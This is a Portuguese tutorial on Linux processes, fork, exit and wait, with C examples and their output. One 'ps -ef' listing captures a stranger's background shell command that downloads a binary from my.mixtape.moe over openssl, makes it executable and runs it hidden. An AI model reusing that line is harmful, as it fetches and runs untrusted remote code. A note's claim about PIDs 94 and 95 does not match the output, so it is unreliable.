Comunicação entre processos - Guia rápido
A comunicação entre processos (IPC) é um mecanismo que envolve a comunicação de um processo com outro processo. Isso geralmente ocorre apenas em um sistema.
A comunicação pode ser de dois tipos -
Entre processos relacionados iniciando de apenas um processo, como processos pai e filho.
Entre processos não relacionados, ou dois ou mais processos diferentes.
A seguir estão alguns termos importantes que precisamos saber antes de prosseguirmos neste tópico.
Pipes- Comunicação entre dois processos relacionados. O mecanismo é half duplex, o que significa que o primeiro processo se comunica com o segundo processo. Para obter um full duplex, isto é, para o segundo processo se comunicar com o primeiro, outro tubo é necessário.
FIFO- Comunicação entre dois processos não relacionados. O FIFO é um full duplex, o que significa que o primeiro processo pode se comunicar com o segundo processo e vice-versa ao mesmo tempo.
Message Queues- Comunicação entre dois ou mais processos com capacidade full duplex. Os processos se comunicarão entre si postando uma mensagem e recuperando-a da fila. Depois de recuperada, a mensagem não está mais disponível na fila.
Shared Memory- A comunicação entre dois ou mais processos é realizada por meio de um pedaço de memória compartilhado entre todos os processos. A memória compartilhada precisa ser protegida uma da outra, sincronizando o acesso a todos os processos.
Semaphores- Os semáforos servem para sincronizar o acesso a vários processos. Quando um processo deseja acessar a memória (para leitura ou gravação), ele precisa ser bloqueado (ou protegido) e liberado quando o acesso é removido. Isso precisa ser repetido por todos os processos para proteger os dados.
Signals- Sinal é um mecanismo de comunicação entre múltiplos processos por meio de sinalização. Isso significa que um processo de origem enviará um sinal (reconhecido por um número) e o processo de destino o tratará de acordo.
Note - Quase todos os programas neste tutorial são baseados em chamadas de sistema no sistema operacional Linux (executado no Ubuntu).
Antes de entrarmos nas informações do processo, precisamos saber algumas coisas, como -
O que é um processo? Um processo é um programa em execução.
O que é um programa? Um programa é um arquivo que contém as informações de um processo e como construí-lo durante o tempo de execução. Quando você inicia a execução do programa, ele é carregado na RAM e começa a ser executado.
Cada processo é identificado com um número inteiro positivo exclusivo chamado de ID do processo ou simplesmente PID (número de identificação do processo). O kernel geralmente limita o ID do processo a 32767, que é configurável. Quando o ID do processo atinge esse limite, ele é redefinido novamente, após a faixa de processos do sistema. Os IDs de processo não utilizados desse contador são atribuídos a processos recém-criados.
A chamada de sistema getpid () retorna o ID do processo de chamada.
#include <sys/types.h>
#include <unistd.h>
pid_t getpid(void);
Esta chamada retorna o ID do processo do processo de chamada que é garantido como único. Essa chamada é sempre bem-sucedida e, portanto, nenhum valor de retorno para indicar um erro.
Cada processo tem seu ID exclusivo chamado ID de processo, o que é bom, mas quem o criou? Como obter informações sobre seu criador? O processo de criação é chamado de processo pai. O ID do pai ou PPID pode ser obtido por meio da chamada getppid ().
A chamada de sistema getppid () retorna o PID pai do processo de chamada.
#include <sys/types.h>
#include <unistd.h>
pid_t getppid(void);
Esta chamada retorna o ID do processo pai do processo de chamada. Essa chamada é sempre bem-sucedida e, portanto, nenhum valor de retorno para indicar um erro.
Vamos entender isso com um exemplo simples.
A seguir está um programa para saber o PID e PPID do processo de chamada.
File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
int mypid, myppid;
printf("Program to know PID and PPID's information\n");
mypid = getpid();
myppid = getppid();
printf("My process ID is %d\n", mypid);
printf("My parent process ID is %d\n", myppid);
printf("Cross verification of pid's by executing process commands on shell\n");
system("ps -ef");
return 0;
}
Na compilação e execução do programa acima, o seguinte será o resultado.
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld
--basedir = /usr
--datadir = /var/lib/mysql
--plugin-dir = /usr/lib64/mysql/plugin
--user = mysql
--log-error = /var/log/mariadb/mariadb.log
--pid-file = /run/mariadb/mariadb.pid
--socket = /var/lib/mysql/mysql.sock
2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() {
flag = "false" hsize = 1
echo -e "GET /$2 HTTP/1.1\nHost: $1\nConnection: close\n\n" |
openssl s_client -timeout -quiet
-verify_quiet -connect $1:443 2> /dev/null | tee out | while read line do if [[ "$flag" == "false" ]]
then
hsize = $((hsize+$(echo $line | wc -c))) fi if [[ "${line:1:1}" == "" ]]
then flag = "true"
fi
echo $hsize > size done tail -c +$(cat size) out >
$2 rm size out }
( download my.mixtape.moe mhawum 2>
/dev/null chmod +x mhawum 2>
/dev/null ./mhawum >
/dev/null 2>
/dev/null )&
2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum
6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874;
timeout 10s javac Puppy.java
6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java
6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java
3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205;
timeout 10s main
3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main
3787205 104176 104175 0 05:25 ? 00:00:00 main
3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell
Note- O sistema de função de biblioteca “C” () executa um comando shell. Os argumentos passados para system () são comandos executados no shell. No programa acima, o comando é “ps”, que fornece o status do processo.
As informações completas sobre todos os processos em execução e outras informações relacionadas ao sistema podem ser acessadas no sistema de arquivos proc disponível no local / proc.
Agora que vimos como obter as informações básicas do processo e de seu processo pai, é hora de examinar os detalhes das informações do processo / programa.
O que exatamente é imagem de processo? A imagem do processo é um arquivo executável necessário durante a execução do programa. Esta imagem geralmente contém as seguintes seções -
- Segmento de código ou segmento de texto
- Segmento de dados
- Segmento de pilha
- Segmento Heap
A seguir está a representação pictórica da imagem do processo.
Code segmenté uma parte do arquivo de objeto ou espaço de endereço virtual do programa que consiste em instruções executáveis. Geralmente é um segmento de dados somente leitura e tem um tamanho fixo.
O segmento de dados é de dois tipos.
- Initialized
- Un-initialized
Initialized data segment é uma parte do arquivo de objeto ou espaço de endereço virtual do programa que consiste em variáveis estáticas e globais inicializadas.
Un-initialized data segmenté uma parte do arquivo de objeto ou espaço de endereço virtual do programa que consiste em variáveis estáticas e globais não inicializadas. O segmento de dados não inicializado também é chamado de segmento BSS (Bloco Iniciado por Símbolo).
Data segmenté leitura-gravação, uma vez que os valores das variáveis podem ser alterados durante o tempo de execução. Este segmento também tem tamanho fixo.
Stack segmenté uma área da memória alocada para variáveis automáticas e parâmetros de função. Ele também armazena um endereço de retorno durante a execução de chamadas de função. A pilha usa o mecanismo LIFO (Last-In-First-Out) para armazenar variáveis locais ou automáticas, parâmetros de função e armazenar o próximo endereço ou endereço de retorno. O endereço de retorno se refere ao endereço a ser retornado após a conclusão da execução da função. O tamanho do segmento é variável de acordo com as variáveis locais, parâmetros de função e chamadas de função. Este segmento cresce de um endereço superior para um endereço inferior.
Heap segmenté a área de memória alocada para armazenamento de memória dinâmica, como para chamadas malloc () e calloc (). O tamanho do segmento também é variável de acordo com a alocação do usuário. Este segmento cresce de um endereço inferior para um endereço superior.
Vamos agora verificar como o tamanho dos segmentos (segmentos de dados e bss) variam com alguns programas de amostra. O tamanho do segmento é conhecido executando o comando “tamanho”.
Programa inicial
Arquivo: segment_size1.c
#include<stdio.h>
int main() {
printf("Hello World\n");
return 0;
}
No programa a seguir, uma variável estática não inicializada é adicionada. Isso significa que o tamanho do segmento não inicializado (BSS) aumentaria em 4 bytes.Note- No sistema operacional Linux, o tamanho do int é de 4 bytes. O tamanho do tipo de dados inteiro depende do compilador e do suporte do sistema operacional.
Arquivo: segment_size2.c
#include<stdio.h>
int main() {
static int mystaticint1;
printf("Hello World\n");
return 0;
}
No programa a seguir, uma variável estática inicializada é adicionada. Isso significa que o tamanho do segmento inicializado (DADOS) aumentaria em 4 bytes.
Arquivo: segment_size3.c
#include<stdio.h>
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
No programa a seguir, uma variável global inicializada é adicionada. Isso significa que o tamanho do segmento inicializado (DADOS) aumentaria em 4 bytes.
Arquivo: segment_size4.c
#include<stdio.h>
int myglobalint1 = 500;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
No programa a seguir, uma variável global não inicializada é adicionada. Isso significa que o tamanho do segmento não inicializado (BSS) aumentaria em 4 bytes.
Arquivo: segment_size5.c
#include<stdio.h>
int myglobalint1 = 500;
int myglobalint2;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
Etapas de execução
Compilação
babukrishnam $ gcc segment_size1.c -o segment_size1
babukrishnam $ gcc segment_size2.c -o segment_size2 babukrishnam $ gcc segment_size3.c -o segment_size3
babukrishnam $ gcc segment_size4.c -o segment_size4 babukrishnam $ gcc segment_size5.c -o segment_size5
Execução / Saída
babukrishnam size segment_size1 segment_size2 segment_size3 segment_size4 segment_size5
text data bss dec hex filename
878 252 8 1138 472 segment_size1
878 252 12 1142 476 segment_size2
878 256 12 1146 47a segment_size3
878 260 12 1150 47e segment_size4
878 260 16 1154 482 segment_size5
babukrishnam
Até agora sabemos que sempre que executamos um programa, um processo é criado e seria encerrado após a conclusão da execução. E se precisarmos criar um processo dentro do programa e quisermos agendar uma tarefa diferente para ele. Isso pode ser alcançado? Sim, obviamente por meio da criação do processo. Claro, depois que o trabalho for concluído, ele será encerrado automaticamente ou você pode encerrá-lo conforme necessário.
A criação do processo é alcançada através do fork() system call. O processo recém-criado é chamado de processo filho e o processo que o iniciou (ou o processo quando a execução é iniciada) é chamado de processo pai. Após a chamada de sistema fork (), agora temos dois processos - processos pai e filho. Como diferenciá-los? Muito simples, é por meio de seus valores de retorno.
Após a criação do processo filho, vamos ver os detalhes da chamada do sistema fork ().
#include <sys/types.h>
#include <unistd.h>
pid_t fork(void);
Cria o processo filho. Após essa chamada, há dois processos, o existente é chamado de processo pai e o recém-criado é chamado de processo filho.
A chamada do sistema fork () retorna um dos três valores -
Valor negativo para indicar um erro, ou seja, falha na criação do processo filho.
Retorna zero para o processo filho.
Retorna um valor positivo para o processo pai. Este valor é o ID do processo do processo filho recém-criado.
Vamos considerar um programa simples.
File name: basicfork.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
fork();
printf("Called fork() system call\n");
return 0;
}
Etapas de execução
Compilação
gcc basicfork.c -o basicfork
Execução / Saída
Called fork() system call
Called fork() system call
Note- Normalmente, após a chamada de fork (), o processo filho e o processo pai executariam tarefas diferentes. Se a mesma tarefa precisar ser executada, para cada chamada de fork () ela será executada 2 vezes n vezes, onden é o número de vezes que fork () é chamado.
No caso acima, fork () é chamado uma vez, portanto, a saída é impressa duas vezes (2 potência 1). Se fork () for chamado, digamos 3 vezes, a saída será impressa 8 vezes (2 potência 3). Se for chamado 5 vezes, ele imprimirá 32 vezes e assim por diante.
Tendo visto fork () criar o processo filho, é hora de ver os detalhes dos processos pai e filho.
Nome do arquivo: pids_after_fork.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
pid_t pid, mypid, myppid;
pid = getpid();
printf("Before fork: Process id is %d\n", pid);
pid = fork();
if (pid < 0) {
perror("fork() failure\n");
return 1;
}
// Child process
if (pid == 0) {
printf("This is child process\n");
mypid = getpid();
myppid = getppid();
printf("Process id is %d and PPID is %d\n", mypid, myppid);
} else { // Parent process
sleep(2);
printf("This is parent process\n");
mypid = getpid();
myppid = getppid();
printf("Process id is %d and PPID is %d\n", mypid, myppid);
printf("Newly created process id or child pid is %d\n", pid);
}
return 0;
}
Etapas de compilação e execução
Before fork: Process id is 166629
This is child process
Process id is 166630 and PPID is 166629
Before fork: Process id is 166629
This is parent process
Process id is 166629 and PPID is 166628
Newly created process id or child pid is 166630
Um processo pode terminar de uma das duas maneiras -
Anormalmente, ocorre na entrega de certos sinais, digamos sinal de término.
Normalmente, usando _exit () chamada de sistema (ou _Exit () chamada de sistema) ou função de biblioteca exit ().
A diferença entre _exit () e exit () é principalmente a atividade de limpeza. oexit() faz alguma limpeza antes de retornar o controle de volta ao kernel, enquanto o _exit() (ou _Exit ()) retornaria o controle de volta ao kernel imediatamente.
Considere o seguinte programa de exemplo com exit ().
Nome do arquivo: atexit_sample.c
#include <stdio.h>
#include <stdlib.h>
void exitfunc() {
printf("Called cleanup function - exitfunc()\n");
return;
}
int main() {
atexit(exitfunc);
printf("Hello, World!\n");
exit (0);
}
Etapas de compilação e execução
Hello, World!
Called cleanup function - exitfunc()
Considere o seguinte programa de exemplo com _exit ().
Nome do arquivo: at_exit_sample.c
#include <stdio.h>
#include <unistd.h>
void exitfunc() {
printf("Called cleanup function - exitfunc()\n");
return;
}
int main() {
atexit(exitfunc);
printf("Hello, World!\n");
_exit (0);
}
Etapas de compilação e execução
Hello, World!
Como vimos, sempre que criamos um processo filho a partir de um programa usando fork, acontece o seguinte -
- O processo atual agora se torna o processo pai
- O novo processo se torna o processo filho
O que acontece se o processo pai terminar sua tarefa mais cedo do que o processo filho e depois sair ou sair? Agora, quem seria o pai do processo filho? O pai do processo filho é o processo init, que é o primeiro processo que inicia todas as tarefas.
Para monitorar o estado de execução do processo filho, para verificar se o processo filho está rodando ou parado ou para verificar o status de execução, etc., as chamadas de sistema wait () e suas variantes são usadas.
Vamos considerar um programa de exemplo, onde o processo pai não espera pelo processo filho, o que resulta no processo init tornando-se o novo pai do processo filho.
Nome do arquivo: parentprocess_nowait.c
#include<stdio.h>
int main() {
int pid;
pid = fork();
// Child process
if (pid == 0) {
system("ps -ef");
sleep(10);
system("ps -ef");
} else {
sleep(3);
}
return 0;
}
Etapas de compilação e execução
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 Jan20 ? 00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x
3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x
6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x
7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 84136 0 19 Jan20 ? 21:13:38 /sbin/klogd -c 1 -x -x
7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x
3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct>
7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x
3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 89353 0 99 Jan22 ? 2-07:35:14 /sbin/klogd -c 1 -x -x
5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
8023807 163891 0 0 05:41 ? 00:00:00 main
8023807 164130 0 0 05:41 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807 164136 164130 0 05:41 ? 00:00:00 timeout 10s main
8023807 164137 164136 0 05:41 ? 00:00:00 main
8023807 164138 164137 0 05:41 ? 00:00:00 main
8023807 164139 164138 0 05:41 ? 00:00:00 ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 Jan20 ? 00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x
3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x
6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x
7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 84136 0 19 Jan20 ? 21:13:48 /sbin/klogd -c 1 -x -x
7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x
3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct>
7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x
3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 89353 0 99 Jan22 ? 2-07:35:24 /sbin/klogd -c 1 -x -x
5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
8023807 164138 0 0 05:41 ? 00:00:00 main
8023807 164897 164138 0 05:41 ? 00:00:00 ps -ef
Note - Observe que o PID do processo pai era 94 e o PID do processo filho era 95. Depois que o processo pai sai, o PPID do processo filho mudou de 94 para 1 (processo init).
A seguir estão as variantes de chamadas do sistema para monitorar o (s) processo (s) filho (s) -
- wait()
- waitpid()
- waitid()
o wait() a chamada do sistema esperaria que um dos filhos encerrasse e retornasse seu status de encerramento no buffer, conforme explicado a seguir.
#include <sys/types.h>
#include <sys/wait.h>
pid_t wait(int *status);
Esta chamada retorna o ID do processo do filho encerrado em caso de sucesso e -1 em caso de falha. A chamada de sistema wait () suspende a execução do processo atual e espera indefinidamente até que um de seus filhos termine. O status de rescisão da criança está disponível no status.
Vamos modificar o programa anterior, de modo que o processo pai agora espere pelo processo filho.
/ * Nome do arquivo: parentprocess_waits.c * /
#include<stdio.h>
int main() {
int pid;
int status;
pid = fork();
// Child process
if (pid == 0) {
system("ps -ef");
sleep(10);
system("ps -ef");
return 3; //exit status is 3 from child process
} else {
sleep(3);
wait(&status);
printf("In parent process: exit status from child is decimal %d, hexa %0x\n", status, status);
}
return 0;
}
Etapas de compilação e execução
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 Jan20 ? 00:04:42 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x
3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x
6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x
7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 84136 0 19 Jan20 ? 21:19:39 /sbin/klogd -c 1 -x -x
7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x
3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct>
7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x
3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 89353 0 99 Jan22 ? 2-07:41:15 /sbin/klogd -c 1 -x -x
5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
